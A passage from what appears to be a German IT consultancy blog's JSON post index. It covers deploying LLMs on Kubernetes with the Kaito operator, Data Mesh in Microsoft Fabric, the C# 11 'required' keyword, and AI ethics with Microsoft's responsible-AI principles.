Skripte durch den imperativen Ansatz immer an den aktuellen Zustand angepasst werden müssen.\nHaben Sie Fragen zur Bereitstellung von Cloud-Infrastruktur mit IaC-Frameworks? Wir unterstützen bei der Integration. ","date":"11. April 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/Azure_InfrastructureAsCode_hu46c89b689586eb9755ef2753aea47b16_584012_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/Azure_InfrastructureAsCode_hu46c89b689586eb9755ef2753aea47b16_584012_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/evaluation-infrastructure-as-code-frameworks-f%C3%BCr-microsoft-azure/","tags":["azure","automation"],"title":"Evaluation: Infrastructure-as-Code-Frameworks für Microsoft Azure"},{"categories":["Insights"],"contents":"I attended the KubeCon - CloudNativeCon Europe 2024 in Paris recently and had the opportunity to hear a lot of great talks about cutting edge developments in the open source world. A recurring theme was the challenge of using large language models (LLMs) in cloud applications. In this post, I want to give an introduction to kaito, a Kubernetes operator that makes it easier to deploy LLMs in Azure.\nDeploying Open-Source LLMs in Kubernetes Anyone wanting to use LLMs first has to answer the question of whether to use a closed- or open-source model. The \u0026ldquo;right\u0026rdquo; answer depends on the use case, governance requirements, money, needed flexibility, etc. When the right answer is to use an open-source model, the big challenge is how to actually deploy it.\nLLM workloads require provisioning specialty hardware and careful utilization of it to obtain good performance and control costs. These workloads are highly variable; CPUs can handle some tasks, while others require GPUs or TPUs. The proximity of the model files to the compute resources can have significant impact on latency.\nKubernetes lends itself well to these requirements. Containers are framework-agnostic. The specialty hardware needed for AI workloads is simpler to provision and configure compared to working directly with virtual machines. Resource utilization can be optimized with auto-scaling of nodes and pods.\nThe process is similar to deploying any solution on Kubernetes: Containerize the model and host the image, provision the compute infrastructure and configure scaling and load balancing, set up an inference server as an app endpoint service in Kubernetes, and then monitor and adjust. But the devil, as always, is in the details; it takes time and there is a lot of trial and error.\nKubernetes AI Toolchain Operator The open-source Kubernetes AI Toolchain Operator (Kaito) attempts to simplify the deployment of LLMs to Kubernetes clusters as much as possible. Kaito offers the following benefits:\nautomates deployment of LLMs, reducing the amount of manual configuration and maintenance effort needed, creates container images of large model files and publishes them in the public Microsoft Container Registry, if the license allows, simplifying model setup for the user so that the inference service can be set up more quickly, provides preset configurations for LLMs, optimizing performance on GPU nodes and removing the need for fine-tuning of deployment parameters for the nodes, and dynamically provisions GPU nodes based on model requirements and integrates with Azure Kubernetes Service for reconciling the current and desired state. The operator consists of\nthe workspace customer resource definition (CRD), which defines the schema of settings a user can configure for GPU requirements and the inference specification. The user specifies the settings in a Workspace custom resource (CR). These components are represented in green in the image below. the workspace controller, which reconciles the workspace customer resource configured by the user. It creates GPU custom resources to trigger node auto-provisioning and creates the inference workload (either a Deployment or a Statefulset) based on the model present configurations, if a preset model is selected. More on presets later. the gpu provisioner controller, an open-source component that adds new GPU nodes to the Azure Kubernetes Service cluster, based on the settings provided in the Node Provisioner CR (red components). When the service is run, the GPU nodes are spun up, and the container images holding the model weights are pulled from either a public or private container registry, seen on the left of the diagram below. Kaito hosts public models in the Microsoft container registry, and users can maintain private model images in their own private registry.\nWorkspace Custom Resource and preset Models Let\u0026rsquo;s look at a simple Workspace CR to understand how to use Kaito to deploy an LLM and inference service.\napiVersion: kaito.sh/v1alpha1 kind: Workspace metadata: name: workspace-falcon-40b-instruct resource: instanceType: \u0026#34;Standard_NC96ads_A100_v4\u0026#34; labelSelector: matchLabels: apps: falcon-40b-instruct inference: preset: name: \u0026#34;falcon-40b-instruct\u0026#34; In the resource section, the user can specify the resource requirement of running the workload. The default configuration is to provision a Standard_NC12s_v3 virtual machine GPU node. Kaito splits inferencing across multiple lower-GPU count virtual machines, which are cheaper and more readily available.\nThe inference section is used to configure the LLM against which predictions will be made. To use a supported open-source model, configure a preset object. In the example above, the open-source publicly-hosted LLM falcon-40b-instruct is specified. If the desired model is not available in the public registry, the user needs to manage the inference service images containing the model weights in their own private registry, but still benefits from the configurations that take care of parameter fine-tuning.\nWhat if none of the supported preset models meet the current requirements? Then the user can deploy their own containerized model and, instead of describing a preset object in the inference section, define a template, in which they specify the pod template to be used.\nThe Kaito operator minimizes a lot of the pain points of deploying open-source LLMs in a production environment. A variety of open-source models are already supported with presets, including llama-2, falcon, mistral and phi-2, and community users are encouraged to propose new models. Additionally, as announced at KubeCon, there is a new public preview of the Kaito add-on for Azure Kubernetes Service , making deployments to AKS even more streamlined.\nIf you\u0026rsquo;re interested to learn more, try it out or take a look at these resources from KubeCon Europe 2024:\nRecordings of the Cloud Native AI Day talks Slides from the talk \u0026ldquo;Self-Hosted LLMs: a Practical Guide\u0026rdquo; Have fun deploying LLMs the easy way!\nObjektkultur is a german software service provider and partner of Microsoft ","date":"4. April 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/llm-cloud_hufa7fe96328b5a8c96691b116b55661d2_91698_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/llm-cloud_hufa7fe96328b5a8c96691b116b55661d2_91698_650x0_resize_q90_box.jpeg'\"\u003e\n \n \n \n\n","permalink":"/deploying-large-language-models-in-the-cloud/","tags":["azure","automation"],"title":"Deploying Large Language Models in the Cloud"},{"categories":["Insights"],"contents":"In einem früheren Blogbeitrag haben mein Kollege Waldemar Felde und ich bereits einen Überblick über Microsoft Fabric, die einheitliche Data-Analytics-Plattform aus dem Hause Microsoft, gegeben. Im heutigen Beitrag geht es um das Data Mesh als zentralen organisatorischen Wandel im Gebiet Reporting und Business Intelligence und wie ein Data Mesh mit Microsoft Fabric umgesetzt werden kann.\nWas ist Data Mesh? Data Mesh ist ein organisatorisches Architektur-Konzept, das darauf abzielt, die Verwaltung, Verarbeitung und Nutzung von Daten und Datenprodukten zu verbessern und zu beschleunigen. Während bisherige Konzepte oftmals eine zentralisierte Datenarchitektur über alle Geschäftsbereiche hinweg beschreiben, setzt das Data Mesh auf Dezentralisierung und Demokratisierung von Daten.\nWas macht ein Data Mesh aus? Ein Data Mesh ist keine starre Struktur, die über jedes Unternehmen oder über jeden Use-Case gelegt werden kann. Viel mehr ist das Data Mesh durch das domain-driven Design und dezentralisierten Mircoservice-Architekturen inspiriert und lässt verschiedene Interpretationen zur Anwendung und Umsetzung zu. Nichtsdestotrotz gibt es einige Schlüsselprinzipien, die bei der Implementierung eines Data Mesh zu beachten sind.\nSchlüsselprinzipien für die Implementierung eines Data Mesh Domain Ownership: Die Daten werden nach Domänen geschnitten und die jeweiligen Domänen-Teams bekommen die Verantwortung über ihre Daten. Diese Teams sind Experten in ihrer Domäne und verfügen eigenständig über ihre Daten. Das Prinzip kommt aus dem Domain-driven Design und steht im direkten Gegensatz zur aktuell üblichen Vorgehensweise im Reporting und BI mit zentralen Daten-Teams. Data as a Product: Hier wird ein Umdenken in den Domänen-Teams gefordert. Analysen und aufbereitete Daten werden nicht nur innerhalb der Domäne bereitgestellt, sondern mit einem Produkt-Denken und hoher Qualität an andere Teams ausgeliefert. Mit ihrem Domänen-Wissen können sie die Datenprodukte optimal aufbereiten und gestalten. Andere Teams können von diesem Wissen profitieren. Self-serve Data Platform: Ein dezidiertes Plattform-Team kümmert sich um alle Infrastruktur-Themen und stellt benötigte Analysen-Werkzeuge für die Domänen-Teams bereit. So werden diese bei der Entwicklung von Datenprodukten bestmöglich unterstützt und Mehraufwände vermieden. Federated Governance: Mit unternehmensweiten Richtlinien, Regeln und Standards werden zentrale Aspekte wie Sicherheit, Qualität und Datenschutz reguliert und kontrolliert. Gleichzeitig dürfen die Domänen-Teams frei über ihre Daten verfügen - innerhalb des gesetzten Rahmens. Außerdem werden Standards für Datenprodukte und ihre Schnittstellen definiert, sodass diese einfach miteinander verwendet werden können. Data Mesh in der Praxis - Beispiele der Implementierung Da das Data Mesh zunächst nur ein Konzept darstellt, muss die Implementierung individuell für jedes Unternehmen erfolgen. Eine Einschränkung der Praxis kann das Datenwissen und die Expertise der Mitglieder der Domänen-Teams sein. Das Data Mesh benötigt Domänen-Teams, die jeweils eigenständig Daten analysieren und Datenprodukte erstellen können. Häufig ist das Wissen jedoch in Teams, die oft mit neuen Technologien arbeiten, konzentriert und damit im Vergleich mit Teams, die in Legacy-Systemen oder Technologien arbeiten, sehr ungleich verteilt. Um solchen Voraussetzungen und Anforderungen im Unternehmen gerecht zu werden, lassen sich verschiedene Formen des Data Mesh definieren, die sich im Grade der Demokratisierung und der Governance unterscheiden. Hier wollen wir auf drei beispielhafte Implementierungen eingehen:\nQuelle: https://towardsdatascience.com/data-mesh-topologies-and-domain-granularity-65290a4ebb90 Fine-grained fully federated mesh: Diese Topologie eines Data Mesh implementiert eine extrem hohe Demokratisierung von Daten durch die Bildung von kleinen, granularen Datenprodukten, welche vollständig eigenverantwortlich durch die Domänen verwaltet und verantwortet werden. Fine-grained and fully governed mesh: Auch in diesem Ansatz liegt die Verantwortung für die Datenprodukte weiterhin in den Domänen, jedoch wird aus einer zentralen Entität eine starke Governance vorgegeben, welche die Freiheit und die Demokratisierung der Daten zu einem gewissen Teil einschränkt. Hybrid federated Mesh: Dieser hybride Ansatz stellt eine Mischung der beiden vorherigen Ansätze dar. Dabei gibt es Domänen und Datenprodukte, die einen höheren Grad an Demokratisierung aufweisen und untereinander Daten austauschen, jedoch auch solche, die einer starken Governance unterliegen und deren Datenprodukte durch eine zentrale Instanz überwacht und gesteuert werden. Die Entscheidung, welchem Grad an Demokratisierung ein Datenprodukt oder eine Domäne unterliegen soll, kann beispielsweise aufgrund der Vertraulichkeit von Daten oder der Art und Komplexität des Zugriffs zum Beispiel bei Legacy-System getroffen werden. Zudem spielt die Verfügbarkeit von Software- oder Data-Engineers im Unternehmen bei der Entscheidung eine wichtige Rolle, wie das Data Mesh aufgebaut sein soll. Sie wollen Data Engineering in Ihrem Unternehmen ganzheitlich umsetzen? Wir unterstützen Sie. Jetzt unverbindlichen Termin anfragen! Data Mesh in Microsoft Fabric Microsoft Fabric erleichtert die Implementierung des Data Mesh enorm. Durch den Einsatz von Microsoft Fabric als SaaS-Lösung werden automatisch die allermeisten Infrastruktur-Aufgaben von Microsoft wahrgenommen und direkt eine Datenplattform mit allen notwendigen Tools bereitgestellt. Mit dem OneLake sind alle Daten auf einem einheitlichen Data Lake gespeichert und Zugangsberechtigungen können mit wenigen Klicks verwaltet werden.\nGleichzeitig gibt es in Microsoft Fabric von Haus aus schon die Möglichkeit, Arbeitsbereiche und damit Ressourcen in Domänen zu strukturieren. In diesen Domänen können Teammitglieder als Contributor hinzugefügt werden und zentrale Rechte können nach Bedarf von den globalen Administratoren an die Domänen-Administratoren abgegeben werden. So wird die Administration innerhalb der Domänen an die jeweiligen Teams verteilt, die dadurch eigenständig agieren können und nicht auf globale Administratoren warten müssen.\nSo könnten die beispielhafte Domänen in einem Unternehmen aussehen. Durch den Einsatz von Microsoft Fabric und dem Onelake findet dabei bereits implizit eine Demokratisierung von Daten statt, indem alle Domänen ihre Quellsysteme in den Onelake integrieren und die Rohdaten damit je nach Berechtigung anderen Domänen zur Verfügung stehen. Entweder entfallen durch die Onelake-Shortcut-Technologie damit bereits einige ETL-Strecken oder diese müssen nur noch einmal implementiert werden, auch wenn eine Domäne Daten aus den Systemen einer anderen Domäne benötigt.\nWie lassen sich Domänen in Microsoft Fabric abbilden? Dafür bietet Microsoft Fabric (aktuell noch in der Preview) die Möglichkeit, über das Admin-Portal eben diese Domänen zu konfigurieren.\nDie Domänen bieten den zentralen Einstiegspunkt für die Governance über das Date Mesh. Über die Domänen lassen sich grundlegende Einstellungen steuern, wie beispielsweise:\nZugriffssteuerung über Microsoft Entra-ID-Benutzerkonten oder M365-Gruppen Rollen- und Rechtezuweisung für die Verwaltung der Domäne Zuweisung und Konfiguration von PowerBI-Arbeitsbereichen Einstellungen zur Zertifizierung von Datenprodukten Vor allem die Zertifizierung von Datenprodukten nimmt in der Governance eine Schlüsselrolle im Data Mesh auf Basis von Fabric ein. Die Domänen können Datenprodukte, welche sie veröffentlichen und anderen Domänen/Nutzern zur Verfügung stellen wollen, zunächst einmal \u0026ldquo;promoten\u0026rdquo; und damit ihre Bereitschaft signalisieren, das Datenprodukt verfügbar zu machen. Je nach Ausprägung und Grad der Demokratisierung folgt dann eine Zertifizierung - entweder durch die Domänen selbst oder durch eine zentrale Instanz, die die Produkte nochmals auf die Einhaltung aller Richtlinien prüft.\nZertifizierte Datenprodukte können anschließend in der Organisation gefunden und genutzt werden.\nData Mesh in MS Fabric - nur ein technischer Change? Auch wenn Unternehmen durch die Nutzung von Microsoft Fabric bereits viele Data-Mesh-Prinzipien technisch nutzen oder zumindest ohne großen Aufwand nutzen können, ist damit noch kein Data Mesh im Unternehmen ausgerollt. Data Mesh ist kein Produkt, das gekauft wird und auch keine Technologie, die eingeführt wird, sondern ein organisatorischer und architektonischer Ansatz für Data Engineering. Es wird kein Data Mesh entstehen, wenn beispielsweise\nDomänen-Teams durch zentrale Restriktionen und Vorgaben keine Freiheiten bei der Entwicklung von Datenprodukte haben. zwar Domänen einrichtet, aber alle Datenprodukte am Ende von den gleichen Daten-Experten entwickelt werden. Datenprodukte nicht zwischen Domänen geteilt werden und stattdessen jeder für sich entwickelt. Mit dem Einsatz von Microsoft Fabric lassen sich Domänen und damit viele Aspekte des Data Mesh aus technischer Sicht ganz einfach mit einigen Klicks in der Admin-Oberfläche definieren. Wer im Data Mesh arbeiten will, für den ist Microsoft Fabric auf jeden Fall eine spannende und lohnenswerte Lösung, die vieles einfacher macht. Aber die wahre Herausforderung liegt im Change von \u0026ldquo;Daten sind nur ein Nebenprodukt der Geschäftsprozesse\u0026rdquo; hin zu \u0026ldquo;Daten sind ein wertvolles Produkt eines Unternehmens und jeder sollte Zugriff auf die für ihn wichtigen Daten haben\u0026rdquo;.\nKurz: Nein, es ist nicht nur ein technischer Change.\nSie wollen Data Engineering in Ihrem Unternehmen ganzheitlich umsetzen? Wir unterstützen Sie. Jetzt unverbindlichen Termin anfragen! ","date":"28. März 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/microsoft-fabric_datamesh_hu2c427118de7def562f89dd7e659790e2_69775_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/microsoft-fabric_datamesh_hu2c427118de7def562f89dd7e659790e2_69775_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/data-mesh-in-microsoft-fabric-nur-ein-technischer-change/","tags":["tooling"],"title":"Data Mesh in Microsoft Fabric - nur ein technischer Change?"},{"categories":["Quick-Tipps"],"contents":"Die Veröffentlichung von C# 11 mit .NET 7 im November 2022 liegt inzwischen bereits eine Weile zurück. Weil .NET 7 nur mit Standard Term Support (STS) angeboten wird, also Fehlerkorrekturen und Sicherheitsverbesserungen lediglich für 18 Monate erhält, haben jedoch viele Projekte die Version ausgesetzt. Mit .NET 8 kam im November 2023 wieder eine Long Term Support (LTS) Veröffentlichung (drei Jahre Unterstützung), sodass einige neue .NET- und C#-Funktionalitäten für den breiten Einsatz in Anwendungen verfügbar wurden. Eine kleine, allerdings sehr willkommene Neuerung ist das required-Schlüsselwort für C# 11 und höher, das hier kurz präsentiert wird.\nZur Erläuterung dient im Folgenden das einfache Datentransferobjekt Customer mit zwei Eigenschaften:\nclass Customer { public int Id { get; set; } public string Name { get; set; } } Motivation Funktional gibt es an der Customer-Klasse nichts auszusetzen: Daten können einfach zugewiesen und ausgelesen werden, Serialisierung und Mapping sind mit gängigen Werkzeugen problemlos möglich und falls es notwendig werden sollte, könnten die automatischen Getter und Setter mit Eigenimplementierungen ersetzt werden, ohne Anpassungen an anderen Stellen zu erfordern.\nDennoch kann mehr zur Unterstützung der Entwickler und zur Vermeidung von Fehlern getan werden. Beispielsweise kann die Zuweisung eines Wertes für eine Eigenschaft vergessen werden. Insbesondere wenn der Customer um neue Eigenschaften ergänzt wird, ist es leicht, eine Verwendung der Klasse unbeabsichtigt zu übergehen.\nEin zusätzlicher Effekt tritt ein, wenn die Klasse in einem Nullable-Kontext definiert wird: In einem solchen Kontext darf die Name-Eigenschaft vom Typ string nicht den Wert null annehmen. Eine Limitierung, die bei der Vermeidung der weit verbreiteten NullReferenceException hilft. Weil der Standardwert für Zeichenketten, abrufbar über default(string), jedoch null ist, löst der Compiler in obiger Customer-Klasse eine Meldung aus:\nwarning CS8618: Non-nullable property \u0026#39;Name\u0026#39; must contain a non-null value when exiting constructor. Consider declaring the property as nullable. Diese Meldung (Nonnullable reference not initialized ) ist ohne weitere Konfiguration eine Warnung und sollte beachtet werden, um die Vorteile eines Nullable-Kontextes in Anspruch nehmen zu können. Die einfache Lösung durch einen Wechsel des Datentyps der Name-Eigenschaft zu string? ist häufig nicht sinnvoll, weil so bei jeder Verwendung zunächst auf null geprüft werden müsste, obwohl der Fehler eher an anderen Code-Stellen zu suchen ist (vorausgesetzt null stellt keinen validen Wert dar). Alternativ könnte die Eigenschaft direkt mit einem gültigen Wert in der Customer-Klasse initialisiert werden:\nclass Customer { public int Id { get; set; } public string Name { get; set; } = \u0026#34;(unknown)\u0026#34;; } Wie hier direkt ersichtlich ist, gibt es in vielen Konstellationen keinen allgemeingültigen Standardwert. Eine weitere Möglichkeit wäre die Verwendung eines Konstruktors:\nclass Customer { public int Id { get; set; } public string Name { get; set; } public Customer(int id, string name) { Id = id; Name = name; } } Zwar muss bei der Konstruktor-Variante kein Standardwert festgelegt werden und es kann überdies sichergestellt werden, dass alle Pflichtfelder einen Wert erhalten. Diese Lösung wird allerdings bei größeren Datentransferobjekten sehr umständlich (für Konsumenten und die Customer-Klasse) und ist nicht (oder nicht ohne Weiteres) mit manchen Fremdbibliotheken kompatibel, die Instanzen anlegen müssen.\nrequired als neue Option Das required-Schlüsselwort ist für solche Fälle eine charmante Lösung:\nclass Customer { public required int Id { get; set; } public required string Name { get; set; } } Anmerkung: Zum Zeitpunkt der Artikelveröffentlichung kennt unser Blog-System required noch nicht als Schlüsselwort und gibt es deswegen leider nicht als solches wieder.\nMit required gekennzeichnete Eigenschaften und Felder müssen bei Instanziierung der sie enthaltenden Klasse explizit einen Wert über einen Objektinitialisierer erhalten (es gibt Sonderlösungen für Konstruktoren; hierfür sei auf die Dokumentation verwiesen). Entsprechend kann von der um die required-Schlüsselwörter erweiterte Definition der Customer-Klasse nur noch eine Instanz erstellt werden, wenn per Objektinitialisierer Id und Name einen Wert erhalten:\nCustomer largestCustomer = new() { Id = 8192, Name = \u0026#34;Contoso Ltd\u0026#34;, }; Der zugewiesene Wert darf dem Standardwert (für Referenzdatentypen null) entsprechen, sodass required keine Einschränkung des Datentyps darstellt, aber Entwickler zu bewussten Initialisierungsentscheidungen zwingt. Im Beispiel dürfte demnach der Id-Eigenschaft der Standardwert für Zahlen 0 zugewiesen werden.\nFehlt bei der Objekterstellung eine Wertzuweisung…\nCustomer largestCustomer = new() { Id = 8192, }; …akzeptiert der Compiler dies nicht und produziert eine Fehlermeldung:\nerror CS9035: Required member \u0026#39;Customer.Name\u0026#39; must be set in the object initializer or attribute constructor. Auch die Validierung für Nullable-Kontexte wurde um Unterstützung für das required-Schlüsselwort erweitert, sodass so markierte Felder und Eigenschaften ohne Standardinitialisierer definiert werden dürfen, selbst wenn es Referenzdatentypen sind. Für Customer.Name wird also keine Meldung mehr ausgegeben.\nBei der JSON-Deserialisierung mit System.Text.Json wird das required-Schlüsselwort ebenfalls beachtet (Dokumentation ).\nFazit zum required-Schlüssenwort von C# Mit dem required-Schlüsselwort hat C# eine neue Funktionalität erhalten, die Entwicklern die Arbeit erleichtern und gelegentlich sogar Fehler verhindern kann. Dabei ist die Verwendung simpel und erfordert keine kryptische Syntax. Des Weiteren wird ein größerer Störfaktor beim Einsatz von Nullable-Kontexten ausgeschaltet, sodass diese deutlich seltener als bisher bei neuen Projekten deaktiviert werden dürften.\nInsgesamt ist das Schlüsselwort eine gelungene Spracherweiterung, die voraussichtlich insbesondere bei Datentransferobjekten weite Verwendung finden wird.\n","date":"21. März 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/required-keywords_hua2c7d2741f1ffe215c10b538108bb257_44441_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/required-keywords_hua2c7d2741f1ffe215c10b538108bb257_44441_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/required-schl%C3%BCsselwort-in-c-sharp-einfach-erkl%C3%A4rt/","tags":[".net"],"title":"required-Schlüsselwort in C-Sharp einfach erklärt"},{"categories":["How To"],"contents":"Die ethische Verantwortung von KI-Lösungen und Entwicklern Wir müssen nicht lange suchen, um Beispiele für unethische künstliche Intelligenz zu finden. Diese reichen von generativer KI, die mit urheberrechtlich geschützten Daten trainiert wurde, über medizinische Algorithmen, die Patienten aufgrund ihrer Hautfarbe bevorzugen oder benachteiligen, bis hin zu autonomen Fahrzeugen, die in moralisch herausfordernden Situationen eine Entscheidung treffen müssen.\nDie beeindruckenden Fortschritte im Bereich der KI haben in den vergangenen Jahrzehnten zu weitreichenden technologischen Veränderungen geführt und unsere Gesellschaft nachhaltig transformiert. Aber weil KI-Anwendungen Implikationen aufweisen, die über herkömmliche IT-Systeme hinausgehen, ist von entscheidender Bedeutung, dass wir als Individuen, Entwickler und Unternehmen die gesellschaftliche Verantwortung, die mit dem Einsatz solcher Systeme einhergeht, erkennen.\nIm Rahmen unsere Projekte und bei unseren KI-Workshops zeigt sich ebenfalls, dass sich auch Unternehmen mit diesen Fragen auseinandersetzen. Zur Beantwortung dieser Fragen hat Microsoft KI-Prinzipien entwickelt, die später noch genauer erläutert werden.\nWas haben Aristoteles und Kant mit KI zu tun? Intuitiv wissen wir vermutlich alle was gemeint ist, wenn von „moralischem Handeln“ die Rede ist: Wer einer alten Dame hilft, die Einkaufstasche in die Wohnung zu tragen, der handelt moralisch richtig. Aber warum genau empfinden wir diese Handlungsweise eigentlich als richtig? Und wie kann man einer KI antrainieren, diese Antwort selbstständig zu finden. Wie würden wir einer KI also erklären, warum er der Frau helfen sollte?\n„Du solltest der Dame helfen, weil es die Tugend gebietet!“ So oder so ähnlich würde vermutlich Aristoteles argumentieren, wenn er KI-Consultant wäre. Für ihn ist das tugendhafte Verhalten nämlich der Schlüssel zur richtigen Handlungsweise. Einer KI tugendhaftes Verhalten anzutrainieren, kann allerdings eine Herausforderung sein, denn die Ermittlung des \u0026ldquo;richtigen\u0026rdquo; Verhaltens benötigt hier eine umfangreiche Analyse sowie die Untersuchung und das Anlernen mithilfe von Millionen von Fällen.\nOder wie Kant es formulierte: „Handle nur nach derjenigen Maxime, durch die du zugleich wollen kannst, dass sie ein allgemeines Gesetz werde“. Man sollte also der Dame helfen, weil man dieses Verhalten im Alter selbst schätzen würde. Um beurteilen zu können, ob und wie KI-Agenten moralisch agieren und ethisch argumentieren können, müssten sie in der Lage sein, sich als willensfreie Individuen eigene Gesetze zu geben, die konsequent moralisches Handeln beeinflussen. Sollten KI-Agenten dazu unfähig sein, was wahrscheinlich ist, bietet dieser Ansatz zumindest ein Mittel, um menschliche Autonomie von sogenannten \u0026ldquo;autonomen\u0026rdquo; KIs zu unterscheiden.\nPosition des deutschen Ethikrates zu KI-Auswirkungen Am 20. März 2023 äußerte der Deutsche Ethikrat in einer offiziellen Stellungnahme seine Einschätzung zu den Auswirkungen digitaler Technologien auf das menschliche Selbstverständnis und das Miteinander. Die zentrale Frage lautete: Erweitert oder vermindert der Einsatz von KI die menschliche Autorschaft und die Bedingungen für verantwortliches Handeln?\nDie Vorsitzende des Ethikrates, Alena Buycx, betonte: „Der Einsatz von KI muss die menschliche Entfaltung erweitern und darf sie nicht einschränken. KI darf den Menschen nicht ersetzen.“ KI-Systeme können also das Leben erleichtern und unterstützen, können jedoch auch missbraucht werden. Auch Julian Nida-Rümelin, stellvertretender Vorsitzender des Ethikrates, betone: „KI-Anwendungen können menschliche Intelligenz, Verantwortung und Beurteilung nicht ersetzen.“\nEthische KI in der Praxis – Responsible AI mit Microsoft-Tools Wenn es um die Entwicklung oder Nutzung von ethischer KI geht, werden zwei Begriffe besonders häufig genannt: Erklärbarkeit und Interpretierbarkeit. Aber was genau bedeutet das und wann ist eine KI erklärbar bzw. interpretierbar?\nTooltip: Eine Möglichkeit, ein ML-Modell erklärbar zu machen, bietet das Responsible-AI-Dashboard von Microsoft. Das Responsible-AI-Dashboard und azureml-interpret nutzen Interpretierbarkeitstechniken aus der Interpret-Community, einem Open-Source-Python-Paket, das entwickelt wurde, um Modelle verständlicher zu machen und undurchsichtige KI-Systeme zu erklären. Zum einen können Data Scientists und ML-Engineers das Dashboard zur Fehleranalyse und zum Debuggen nutzen. Zum anderen sind es Entscheidungsträger, die darüber Insights über die Modelle erhalten können.\nKI-Prinzipien von Microsoft Microsoft hat sich dem Grundsatz verpflichtet, KI unter Einhaltung ethischer Prinzipien weiterzuentwickeln. Zu diesem Zweck haben sie sechs Prinzipien identifiziert, die ihre KI-Entwicklung und -Nutzung leiten sollen:\nFairness: KI-Systeme müssen alle Menschen fair behandeln. Zuverlässigkeit und Sicherheit: KI-Systeme müssen zuverlässig und sicher funktionieren. Datenschutz und Sicherheit: Die Privatsphäre muss geschützt und die Sicherheit der Daten gewährleistet sein. Inklusion: KI muss für alle zugänglich sein. Transparenz: Die Funktionsweise von KI-Systemen muss offengelegt werden. Verantwortlichkeit: Die Entwicklung und Nutzung von KI muss verantwortungsbewusst sein. Jedes dieser Prinzipien ist durch eine Reihe von Zielen definiert, die es zu erreichen gilt. Um diese Ziele zu unterstützen, hat Microsoft entsprechende Voraussetzungen und Tools entwickelt.\nFairness Fairness ist ein zentrales Prinzip, das sicherstellen soll, dass KI-Systeme alle Menschen fair behandeln. Dies beinhaltet die Vermeidung von Diskriminierung und Vorurteilen in den Trainingsdaten. Konkrete Maßnahmen zur Verwirklichung der Fairness umfassen die Bereitstellung qualitativ hochwertiger Services für alle, die gerechte Zuweisung von Ressourcen und Chancen sowie die Minimierung von Stereotypisierung.\nZuverlässigkeit und Sicherheit Die Zuverlässigkeit einer KI-Anwendung ist entscheidend für ihr sicheres Funktionieren. Microsoft legt Wert darauf, vorhersehbare Fehler zu definieren und Maßnahmen zur Fehlerbehebung zu ergreifen. Ongoing Monitoring, Feedback und Evaluation sind dabei wichtige Instrumente, um die Zuverlässigkeit zu gewährleisten.\nDatenschutz und Sicherheit Der Schutz der Privatsphäre und die Sicherheit der Daten ist ein zentrales Anliegen bei der Entwicklung ethischer KI. Microsoft verfolgt hier einen Privacy-Standard-Compliance-Ansatz, um sicherzustellen, dass Datenschutzbestimmungen eingehalten werden.\nInklusion Microsoft setzt sich dafür ein, dass ihre KI-Anwendungen für alle zugänglich sind. Dies beinhaltet die Einhaltung von Accessibility-Standards, um sicherzustellen, dass die KI für Menschen mit unterschiedlichen Fähigkeiten und Bedürfnissen zugänglich ist.\nTransparenz Transparenz bedeutet, dass die Funktionsweise von KI-Systemen verständlich und nachvollziehbar ist. Microsoft betont die Bedeutung der Offenlegung von KI-Interaktionen sowie die Kommunikation mit Stakeholdern, um das Vertrauen in KI-Systeme zu stärken.\nVerantwortlichkeit Die Verantwortlichkeit umfasst die Überwachung von negativen Auswirkungen, die Bewertung des Einflusses der KI-Anwendung, die Sicherstellung ihrer Zweckmäßigkeit sowie eine angemessene Datenverwaltung und -führung. Microsoft legt Wert darauf, dass KI-Entwickler und -Nutzer die Verantwortung für die Auswirkungen ihrer Technologien übernehmen und sicherstellen, dass sie im Einklang mit ethischen Grundsätzen handeln.\nFür weitere Ausführungen und Tooltips zur Umsetzung dieser Prinzipien empfehle ich den Responsible-AI-Standard von Microsoft . Wer sich über den Microsoft-Standard hinaus weiter mit KI-Ethik und der praktischen Umsetzung beschäftigen möchte, dem kann ich den KI-Prüfkatalog vom Fraunhofer IAIS nahelegen.\nFazit zu ethischen KI-Lösungen In Zeiten von autonomen Fahrzeugen, LLMs und Bots müssen wir uns intensiv mit ethischen Fragen auseinandersetzen. Verschiedene philosophische Ansätze von Aristoteles bis Kant bieten wertvolle Einsichten, wie wir KI ethisch entwickeln und nutzen können. Konkrete Maßnahmen wie Explainable AI und KI-Prinzipien von Microsoft zeigen, dass wir auf dem richtigen Weg sind.\nDie Darstellung zeigt zudem, dass sich Microsoft intensiv mit ethischen Fragestellungen in der Entwicklung ihrer KI-Systeme und Copiloten auseinandergesetzt hat. Microsoft übernimmt bei der Entwicklung ihrer Copiloten also Verantwortung in Bezug auf ethische Software-Entwicklung.\nDie Schlussfolgerung 